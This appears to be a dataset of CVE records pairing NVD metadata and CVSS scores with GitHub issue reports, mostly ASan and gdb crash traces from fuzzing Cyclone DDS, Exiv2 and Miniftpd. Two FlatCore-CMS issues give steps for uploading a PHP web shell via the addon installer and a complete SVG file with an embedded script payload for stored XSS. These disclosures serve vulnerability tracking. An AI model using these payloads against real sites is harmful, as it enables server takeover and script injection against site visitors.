#9 0x7f199d1c141c in clone /build/glibc-LK5gWL/glibc-2.23/misc/../sysdeps/unix/sysv/linux/x86_64/clone.S:109
Address 0x7f1997bf6278 is located in stack of thread T5 (recv) at offset 344 in frame
#0 0x7f199e13fe8f in handle_submsg_sequence /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsi/src/q_receive.c:2645
=== [Subscriber] Received : Message (1, Hello World) amount: 1
This frame has 37 object(s):
[32, 48) 'sc.i.i' (line 2295)
[64, 68) 'refc_adjust.i.i' (line 2298)
[80, 96) 'pwr_guid.i443' (line 329)
[112, 136) 'src.i444' (line 379)
[176, 192) 'pwr_guid.i' (line 439)
[208, 232) 'src.i366' (line 515)
[272, 288) 'src.i324' (line 1334)
[304, 344) 'nackfrag.i' (line 1422) <== Memory access at offset 344 overflows this variable
[384, 392) 'sm_marker.i.i223' (line 575)
[416, 464) 'sample.i224' (line 1446)
[496, 512) 'src.i225' (line 1447)
[528, 544) 'dst.i226' (line 1447)
[560, 568) 'reply.i' (line 1520)
[592, 616) 'whcst.i227' (line 1553)
[656, 672) 'dst.i186' (line 1577)
[688, 704) 'src.i110' (line 1698)
[720, 736) 'dst.i111' (line 1698)
[752, 756) 'refc_adjust.i112' (line 1748)
[768, 784) 'a.i.i' (line 1106)
[800, 816) 'b.i.i' (line 1106)
[832, 880) 'arg.i' (line 1204)
[912, 928) 'src.i38' (line 1206)
[944, 960) 'dst.i39' (line 1206)
[976, 992) 'sc.i' (line 1238)
[1008, 1012) 'refc_adjust.i' (line 1239)
[1024, 1040) 'sc138.i' (line 1277)
[1056, 1060) 'refc_adjust139.i' (line 1278)
[1072, 1080) 'sm_marker.i.i' (line 575)
[1104, 1120) 'src.i' (line 702)
[1136, 1152) 'dst.i' (line 702)
[1168, 1200) 'gapbits.i' (line 708)
[1232, 1240) 'deferred_free_list.i' (line 717)
[1264, 1288) 'whcst.i' (line 718)
[1328, 1376) 'sample.i' (line 937)
[1408, 2432) 'tmp.i' (line 2521)
[2560, 2616) 'sampleinfo' (line 2809)
[2656, 2712) 'sampleinfo110' (line 2824)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
Thread T5 (recv) created by T0 here:
#0 0x431fdd in pthread_create /root/CL/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:317
#1 0x7f199e255444 in os_threadCreate /root/fouzhe/cyclonedds-0.1.0-coverage/src/os/src/posix/../snippets/code/os_posix_thread.c:275:21
#2 0x7f199e1625be in create_thread /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsi/src/q_thread.c:272:7
#3 0x7f199e0d4e78 in setup_and_start_recv_threads /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsi/src/q_init.c:838:34
#4 0x7f199e0d4e78 in rtps_init /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsi/src/q_init.c:1312
#5 0x7f199e1a0c8e in dds_init /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsc/src/dds_init.c:133:7
#6 0x7f199e1929f2 in dds_create_participant /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsc/src/dds_participant.c:160:11
#7 0x511106 in main /root/fouzhe/cyclonedds-0.1.0-coverage/src/examples/helloworld/subscriber.c:24:19
#8 0x7f199d0da82f in __libc_start_main /build/glibc-LK5gWL/glibc-2.23/csu/../csu/libc-start.c:291
SUMMARY: AddressSanitizer: stack-buffer-overflow /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsi/include/ddsi/q_bitset.h:50:13 in nn_bitset_one
Shadow bytes around the buggy address:
0x0fe3b2f76bf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe3b2f76c00: 00 00 00 00 f1 f1 f1 f1 00 f3 f3 f3 00 00 00 00
0x0fe3b2f76c10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe3b2f76c20: 00 00 00 00 f1 f1 f1 f1 f8 f8 f2 f2 f8 f2 f8 f8
0x0fe3b2f76c30: f2 f2 f8 f8 f8 f2 f2 f2 f2 f2 f8 f8 f2 f2 f8 f8
=>0x0fe3b2f76c40: f8 f2 f2 f2 f2 f2 00 00 f2 f2 00 00 00 00 00[f2]
0x0fe3b2f76c50: f2 f2 f2 f2 f8 f2 f2 f2 f8 f8 f8 f8 f8 f8 f2 f2
0x0fe3b2f76c60: f2 f2 f8 f8 f2 f2 f8 f8 f2 f2 f8 f2 f2 f2 f8 f8
0x0fe3b2f76c70: f8 f2 f2 f2 f2 f2 f8 f8 f2 f2 f8 f8 f2 f2 f8 f8
0x0fe3b2f76c80: f2 f2 f8 f2 f8 f8 f2 f2 f8 f8 f2 f2 f8 f8 f8 f8
0x0fe3b2f76c90: f8 f8 f2 f2 f2 f2 f8 f8 f2 f2 f8 f8 f2 f2 f8 f8
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==11082==ABORTING`
I guess it is a potential vulnerability in cyclone project.
Please detect whether it is a problem.
Thanks! | Stack-buffer-overflow was found at ./src/core/ddsi/include/ddsi/q_bitset.h:50:13 in nn_bitset_one. | https://api.github.com/repos/eclipse-cyclonedds/cyclonedds/issues/476/comments | 6 | 2020-04-07T15:49:06Z | 2021-09-01T08:24:43Z | https://github.com/eclipse-cyclonedds/cyclonedds/issues/476 | 595,970,562 | 476 | 2,365 |
CVE-2020-18735 | 2021-08-23T21:15:09.503 | A heap buffer overflow in /src/dds_stream.c of Eclipse IOT Cyclone DDS Project v0.1.0 causes the DDS subscriber server to crash. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 5,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory"
],
"url": "https://github.com/eclipse-cyclonedds/cyclonedds"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/eclipse-cyclonedds/cyclonedds/issues/501"
},
{
"source": "cve@mitre.org",
"tags": [
"Release Notes",
"Vendor Advisory"
],
"url": "https://projects.eclipse.org/projects/iot.cyclonedds"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory"
],
"url": "https://github.com/eclipse-cyclonedds/cyclonedds"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/eclipse-cyclonedds/cyclonedds/issues/501"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Release Notes",
"Vendor Advisory"
],
"url": "https://projects.eclipse.org/projects/iot.cyclonedds"
}
] | [
{
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"vulnerable": true
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"negate": false,
"operator": "OR"
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] | [
"787"
] | 787 | https://github.com/eclipse-cyclonedds/cyclonedds/issues/501 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"eclipse-cyclonedds",
"cyclonedds"
] | I used Peach Fuzzer to fuzz the HelloworldSubscriber at ./build/bin/HelloworldSubscriber.
After a period of time, A heap-buffer-overflow crash was found by AddressSanitizer. Next is the full crash information.
```
=================================================================
==51931==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61100001a2b0 at pc 0x0000004c3c0c bp 0x7ffdab96aaa0 sp 0x7ffdab96a250
READ of size 786432 at 0x61100001a2b0 thread T0
#0 0x4c3c0b in __asan_memcpy /root/CL/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:466
#1 0x7fa9a66b2a99 in dds_stream_reuse_string /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsc/src/dds_stream.c:310:9
#2 0x7fa9a66b2a99 in dds_stream_read /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsc/src/dds_stream.c:841
#3 0x7fa9a66b17c8 in dds_stream_read_sample /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsc/src/dds_stream.c:395:5
#4 0x7fa9a651eab5 in serdata_default_to_sample_cdr /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsi/src/ddsi_serdata_default.c:506:5
#5 0x7fa9a66754b9 in ddsi_serdata_to_sample /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsi/include/ddsi/ddsi_serdata.h:157:10
#6 0x7fa9a66754b9 in dds_rhc_read_w_qminv /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsc/src/dds_rhc.c:1819
#7 0x7fa9a66754b9 in dds_rhc_read /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsc/src/dds_rhc.c:2593
#8 0x7fa9a66a855a in dds_read_impl /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsc/src/dds_read.c:166:29
#9 0x7fa9a66a73c3 in dds_read /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsc/src/dds_read.c:265:12
#10 0x511288 in main /root/fouzhe/cyclonedds-0.1.0-coverage/src/examples/helloworld/subscriber.c:53:14
feilong: iterationFinished status: 10559False_messageExit: False FaultOnEarlyExit:True _IsRunning:True
#11 0x7fa9a559982f in __libc_start_main /build/glibc-LK5gWL/glibc-2.23/csu/../csu/libc-start.c:291
#12 0x419f38 in _start (/root/fouzhe/cyclonedds-0.1.0-coverage/build/bin/HelloworldSubscriber+0x419f38)
0x61100001a2b0 is located 0 bytes to the right of 240-byte region [0x61100001a1c0,0x61100001a2b0)
allocated by thread T5 (recv) here:
#0 0x4daa38 in __interceptor_malloc /root/CL/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:67
#1 0x7fa9a6709bf7 in os_malloc_s /root/fouzhe/cyclonedds-0.1.0-coverage/src/os/src/posix/../snippets/code/os_heap.c:30:12
#2 0x7fa9a6709bf7 in os_malloc /root/fouzhe/cyclonedds-0.1.0-coverage/src/os/src/posix/../snippets/code/os_heap.c:39
#3 0x7fa9a651e5e5 in serdata_default_from_ser /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsi/src/ddsi_serdata_default.c:283:31
Thread T5 (recv) created by T0 here:
#0 0x431fdd in pthread_create /root/CL/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:317
#1 0x7fa9a6714464 in os_threadCreate /root/fouzhe/cyclonedds-0.1.0-coverage/src/os/src/posix/../snippets/code/os_posix_thread.c:275:21
#2 0x7fa9a66215fe in create_thread /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsi/src/q_thread.c:272:7
#3 0x7fa9a6593e98 in setup_and_start_recv_threads /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsi/src/q_init.c:838:34
#4 0x7fa9a6593e98 in rtps_init /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsi/src/q_init.c:1312
#5 0x7fa9a665fce1 in dds_init /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsc/src/dds_init.c:133:7
#6 0x7fa9a6651a42 in dds_create_participant /root/fouzhe/cyclonedds-0.1.0-coverage/src/core/ddsc/src/dds_participant.c:160:11
#7 0x511106 in main /root/fouzhe/cyclonedds-0.1.0-coverage/src/examples/helloworld/subscriber.c:24:19
#8 0x7fa9a559982f in __libc_start_main /build/glibc-LK5gWL/glibc-2.23/csu/../csu/libc-start.c:291
SUMMARY: AddressSanitizer: heap-buffer-overflow /root/CL/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:466 in __asan_memcpy
Shadow bytes around the buggy address:
0x0c227fffb400: 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa fa
0x0c227fffb410: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c227fffb420: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa
0x0c227fffb430: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c227fffb440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c227fffb450: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa
0x0c227fffb460: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c227fffb470: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa
0x0c227fffb480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fffb490: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fffb4a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==51931==ABORTING
```
And this problem was found in version v0.1.0.
I guess the problem was in function dds_realloc().
I did the similar fuzz operation on version v0.5.1 too, but the new version does not have this vulnerability.
But I found some similar code around the vulnerability position in the new version.
I am not sure why v0.1.0 has the vulnerability and v0.5.1 doe not have it.
| Heap-buffer-overflow was found at ./src/core/ddsc/src/dds_stream.c:310:9 | https://api.github.com/repos/eclipse-cyclonedds/cyclonedds/issues/501/comments | 3 | 2020-04-21T12:54:33Z | 2021-09-01T08:21:02Z | https://github.com/eclipse-cyclonedds/cyclonedds/issues/501 | 603,975,097 | 501 | 2,366 |
CVE-2021-39608 | 2021-08-23T21:15:10.530 | Remote Code Execution (RCE) vulnerabilty exists in FlatCore-CMS 2.0.7 via the upload addon plugin, which could let a remote malicious user exeuct arbitrary php code. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"availabilityImpact": "COMPLETE",
"baseScore": 9,
"confidentialityImpact": "COMPLETE",
"integrityImpact": "COMPLETE",
"vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C",
"version": "2.0"
},
"exploitabilityScore": 8,
"impactScore": 10,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.2,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/164047/FlatCore-CMS-2.0.7-Remote-Code-Execution.html"
},
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"flatCore",
"flatCore-CMS"
] | **RCE via upload addon plugin**
It was identified that an authenticated user (admin) has the possibility to upload malicious files without any restriction. In this specific case, arbitrary server side PHP code such as web shells can be uploaded. As a result the attacker can run arbitrary code on the server side with the privileges of the web server. This could lead to a full system compromise.
**To Reproduce**
Steps to reproduce the behavior:
1. Login to flatcore CMS (admin user)
2. Click on 'Addons'
3. Click on 'Install'
4. Click on 'Plugin'
5. Choose a malious PHP file (revershell, webshell...), example is shell.php
6. URL for malious PHP file: http://domain/upload/plugins/shell.php
**Screenshots**
- This POC for vuln : https://www.youtube.com/watch?v=yoFkkgM1P8E
**Desktop (please complete the following information):**
- OS: tested in Linux
- Browser : All
- Version : Last version
**Additional context**
This vulnerability is extremely serious affecting the system. An attacker can take control of the entire server.
| RCE via upload addons plugin | https://api.github.com/repos/flatCore/flatCore-CMS/issues/52/comments | 3 | 2021-08-13T03:50:15Z | 2023-01-05T10:52:12Z | https://github.com/flatCore/flatCore-CMS/issues/52 | 970,036,589 | 52 | 2,367 |
CVE-2021-39609 | 2021-08-23T21:15:10.617 | Cross Site Scripting (XSS) vulnerability exiss in FlatCore-CMS 2.0.7 via the upload image function. | {
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"flatCore",
"flatCore-CMS"
] | **Describe the bug**
Cross Site Scripting (XSS) via upload image function
**To Reproduce**
Steps to reproduce the behavior:
1. Login to flatcore CMS
2. Click on 'Upload file'
3. Drop svg file contains XSS payload , example filename : xss.svg
4. and XSS in url : http://domain/content/images/payload1.svg
**Screenshots**
**xss.svg**
```xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert("XSS in flatCore CMS");
</script>
</svg>
```
**Desktop (please complete the following information):**
- OS: All
- Browser : All
- Version : Last version
**Additional context**
XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user
| Cross Site Scripting (XSS) | https://api.github.com/repos/flatCore/flatCore-CMS/issues/53/comments | 6 | 2021-08-13T04:02:13Z | 2023-01-05T10:52:12Z | https://github.com/flatCore/flatCore-CMS/issues/53 | 970,040,633 | 53 | 2,368 |
CVE-2020-18771 | 2021-08-23T22:15:26.150 | Exiv2 0.27.99.0 has a global buffer over-read in Exiv2::Internal::Nikon1MakerNote::print0x0088 in nikonmn_int.cpp which can result in an information leak. | {
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] | POC:
[poc.zip](https://github.com/Exiv2/exiv2/files/3001421/poc.zip)
There exists one global-buffer-overread in Exiv2::Internal::Nikon1MakerNote::print0x0088 in nikonmn_int.cpp in exiv2 0.27.99.0 which could result in information leak.
```
$ exiv2 -pt $poc
==27589==ERROR: AddressSanitizer: global-buffer-overflow on address 0xb7699d34 at pc 0xb6efa9f3 bp 0xbfc07508 sp 0xbfc07500
READ of size 4 at 0xb7699d34 thread T0
#0 0xb6efa9f2 in Exiv2::Internal::Nikon1MakerNote::print0x0088(std::ostream&, Exiv2::Value const&, Exiv2::ExifData const*) /home/rookie/asan/exiv2-master/src/nikonmn_int.cpp:374
#1 0xb6677efc in Exiv2::Exifdatum::write(std::ostream&, Exiv2::ExifData const*) const /home/rookie/asan/exiv2-master/src/exif.cpp:227
#2 0xb68d6c1c in Exiv2::Metadatum::print(Exiv2::ExifData const*) const /home/rookie/asan/exiv2-master/src/metadatum.cpp:74
#3 0x82150ef in Action::Print::printMetadatum(Exiv2::Metadatum const&, Exiv2::Image const*) /home/rookie/asan/exiv2-master/src/actions.cpp:745
#4 0x8206d2d in Action::Print::printMetadata(Exiv2::Image const*) /home/rookie/asan/exiv2-master/src/actions.cpp:542
#5 0x81fabf1 in Action::Print::printList() /home/rookie/asan/exiv2-master/src/actions.cpp:531
#6 0x81a6225 in Action::Print::run(std::string const&) /home/rookie/asan/exiv2-master/src/actions.cpp:248
#7 0x80d3aa5 in main /home/rookie/asan/exiv2-master/src/exiv2.cpp:172
#8 0xb600aaf2 (/lib/i386-linux-gnu/libc.so.6+0x19af2)
#9 0x80d1af4 in _start (/home/rookie/asan/exiv2-master/build/bin/exiv2+0x80d1af4)
0xb7699d34 is located 44 bytes to the left of global variable 'Exiv2::Internal::nikonFlashControlMode' from '/home/rookie/asan/exiv2-master/src/nikonmn_int.cpp' (0xb7699d60) of size 108
0xb7699d34 is located 76 bytes to the right of global variable 'Exiv2::Internal::nikonFlashGNDistance' from '/home/rookie/asan/exiv2-master/src/nikonmn_int.cpp' (0xb7699b20) of size 456
SUMMARY: AddressSanitizer: global-buffer-overflow /home/rookie/asan/exiv2-master/src/nikonmn_int.cpp:374 Exiv2::Internal::Nikon1MakerNote::print0x0088(std::ostream&, Exiv2::Value const&, Exiv2::ExifData const*)
Shadow bytes around the buggy address:
0x36ed3350: 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 f9 f9
0x36ed3360: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
0x36ed3370: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x36ed3380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x36ed3390: 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 f9 f9
=>0x36ed33a0: f9 f9 f9 f9 f9 f9[f9]f9 f9 f9 f9 f9 00 00 00 00
0x36ed33b0: 00 00 00 00 00 00 00 00 00 04 f9 f9 f9 f9 f9 f9
0x36ed33c0: 00 00 00 00 04 f9 f9 f9 f9 f9 f9 f9 00 00 00 00
0x36ed33d0: 00 00 00 00 00 00 00 00 00 04 f9 f9 f9 f9 f9 f9
0x36ed33e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x36ed33f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
ASan internal: fe
==27589==ABORTING
``` | one global-buffer-overread in Exiv2::Internal::Nikon1MakerNote::print0x0088 in nikonmn_int.cpp | https://api.github.com/repos/Exiv2/exiv2/issues/756/comments | 2 | 2019-03-25T03:52:31Z | 2019-03-29T12:35:23Z | https://github.com/Exiv2/exiv2/issues/756 | 424,712,263 | 756 | 2,369 |
CVE-2020-18773 | 2021-08-23T22:15:27.807 | An invalid memory access in the decode function in iptc.cpp of Exiv2 0.27.99.0 allows attackers to cause a denial of service (DOS) via a crafted tif file. | {
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] | POC:
[segment_poc.zip](https://github.com/Exiv2/exiv2/files/3006103/segment_poc.zip)
gdb --args ./exiv2 -pt ~/segment_poc
Program received signal SIGSEGV, Segmentation fault.
0xb7c649d6 in Exiv2::IptcParser::decode (iptcData=..., pData=<optimized out>, size=<optimized out>) at /home/rookie/exiv2-master/src/iptc.cpp:453
453 if (*pRead++ != marker_) continue;
(gdb) bt
#0 0xb7c649d6 in Exiv2::IptcParser::decode (iptcData=..., pData=<optimized out>, size=<optimized out>) at /home/rookie/exiv2-master/src/iptc.cpp:453
#1 0xb7e49838 in Exiv2::Internal::TiffDecoder::decodeIptc (this=<optimized out>, object=0x0) at /home/rookie/exiv2-master/src/tiffvisitor_int.cpp:428
#2 0xb7e46726 in decodeTiffEntry (this=<optimized out>, object=<optimized out>) at /home/rookie/exiv2-master/src/tiffvisitor_int.cpp:476
#3 Exiv2::Internal::TiffDecoder::visitEntry (this=<optimized out>, object=<optimized out>) at /home/rookie/exiv2-master/src/tiffvisitor_int.cpp:312
#4 0xb7e28e2a in Exiv2::Internal::TiffEntry::doAccept (this=0x80cbf00, visitor=...) at /home/rookie/exiv2-master/src/tiffcomposite_int.cpp:895
#5 0xb7e2907a in operator* (this=<optimized out>, visitor=..., this=<optimized out>) at /home/rookie/exiv2-master/src/tiffcomposite_int.cpp:890
#6 Exiv2::Internal::TiffDirectory::doAccept (this=<optimized out>, visitor=...) at /home/rookie/exiv2-master/src/tiffcomposite_int.cpp:918
#7 0xb7e28dae in Exiv2::Internal::TiffComponent::accept (this=0x80cbd40, visitor=...) at /home/rookie/exiv2-master/src/tiffcomposite_int.cpp:890
#8 0xb7e35f69 in Exiv2::Internal::TiffParserWorker::decode (exifData=..., iptcData=..., xmpData=..., pData=<optimized out>, size=<optimized out>, root=<optimized out>, findDecoderFct=<optimized out>, pHeader=<optimized out>)
at /home/rookie/exiv2-master/src/tiffimage_int.cpp:1562
#9 0xb7cf54be in Exiv2::TiffImage::readMetadata (this=<optimized out>) at /home/rookie/exiv2-master/src/tiffimage.cpp:187
#10 0x0807e002 in Action::Print::printList (this=0x80cbb28) at /home/rookie/exiv2-master/src/actions.cpp:523
#11 0x08070c67 in Action::Print::run (this=0x80cbb28, path="/home/rookie/segment_poc") at /home/rookie/exiv2-master/src/actions.cpp:248
#12 0x0804dd9b in main (argc=<optimized out>, argv=<optimized out>) at /home/rookie/exiv2-master/src/exiv2.cpp:172
| one invalid memory access in decode function in iptc.cpp | https://api.github.com/repos/Exiv2/exiv2/issues/760/comments | 2 | 2019-03-26T01:30:40Z | 2019-04-10T08:20:03Z | https://github.com/Exiv2/exiv2/issues/760 | 425,185,549 | 760 | 2,370 |
CVE-2020-18774 | 2021-08-23T22:15:27.910 | A float point exception in the printLong function in tags_int.cpp of Exiv2 0.27.99.0 allows attackers to cause a denial of service (DOS) via a crafted tif file. | {
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] | github.com | [
"Exiv2",
"exiv2"
] | POC:
[fpe_poc.zip](https://github.com/Exiv2/exiv2/files/3006099/fpe_poc.zip)
gdb --args ./exiv2 -pt ~/fpe_poc
Program received signal SIGFPE, Arithmetic exception.
0xb7e0c1a2 in Exiv2::Internal::printLong (os=..., value=...) at /home/rookie/exiv2-master/src/tags_int.cpp:2197
2197 if (r.second != 0) return os << static_cast<long>(r.first) / r.second;
(gdb) bt
#0 0xb7e0c1a2 in Exiv2::Internal::printLong (os=..., value=...) at /home/rookie/exiv2-master/src/tags_int.cpp:2197
#1 0xb7c18f93 in Exiv2::Exifdatum::write (this=0x80d5878, os=..., pMetadata=<optimized out>) at /home/rookie/exiv2-master/src/exif.cpp:227
#2 0xb7c92723 in Exiv2::Metadatum::print (this=<optimized out>, pMetadata=0x80cbcb0) at /home/rookie/exiv2-master/src/metadatum.cpp:74
#3 0x080831ec in Action::Print::printMetadatum (this=<optimized out>, md=..., pImage=<optimized out>) at /home/rookie/exiv2-master/src/actions.cpp:745
#4 0x0807ff5c in Action::Print::printMetadata (this=<optimized out>, image=<optimized out>) at /home/rookie/exiv2-master/src/actions.cpp:542
#5 0x0807e113 in Action::Print::printList (this=0x80cbb20) at /home/rookie/exiv2-master/src/actions.cpp:531
#6 0x08070c67 in Action::Print::run (this=0x80cbb20, path="/home/rookie/fpe_poc") at /home/rookie/exiv2-master/src/actions.cpp:248
#7 0x0804dd9b in main (argc=<optimized out>, argv=<optimized out>) at /home/rookie/exiv2-master/src/exiv2.cpp:172
| float point exception in printLong function in tags_int.cpp | https://api.github.com/repos/Exiv2/exiv2/issues/759/comments | 1 | 2019-03-26T01:26:12Z | 2019-07-25T15:22:56Z | https://github.com/Exiv2/exiv2/issues/759 | 425,184,651 | 759 | 2,371 |
CVE-2021-39602 | 2021-08-23T23:15:17.027 | A Buffer Overflow vulnerabilty exists in Miniftpd 1.0 in the do_mkd function in the ftpproto.c file, which could let a remote malicious user cause a Denial of Service. | {
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"availabilityImpact": "PARTIAL",
"baseScore": 4,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
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"source": "nvd@nist.gov",
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"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
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}
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"tags": [
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],
"url": "https://github.com/Gabe-commiter/Miniftpd/issues/1"
},
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] | github.com | [
"Gabe-commiter",
"Miniftpd"
] | Buffer overflow exists in the `do_mkd` function in the `ftpproto.c` file. Overwrite rbp when new path name length exceeds 1032.
```
#define MAX_BUFFER_SIZE 1024 //it defined in common.h
char buf[MAX_BUFFER_SIZE] = {0}; //buf[1024]={0}
sprintf(buf, "\"%s/%s\" created",buf,sess->arg);
``` | Buffer overflows problem | https://api.github.com/repos/Gabe-commiter/Miniftpd/issues/1/comments | 1 | 2021-08-22T10:26:19Z | 2021-08-24T17:49:17Z | https://github.com/Gabe-commiter/Miniftpd/issues/1 | 976,341,277 | 1 | 2,372 |
CVE-2021-32263 | 2021-08-24T18:15:11.300 | ok-file-formats through 2021-04-29 has a heap-based buffer overflow in the ok_csv_circular_buffer_read function in ok_csv.c. | {
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"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
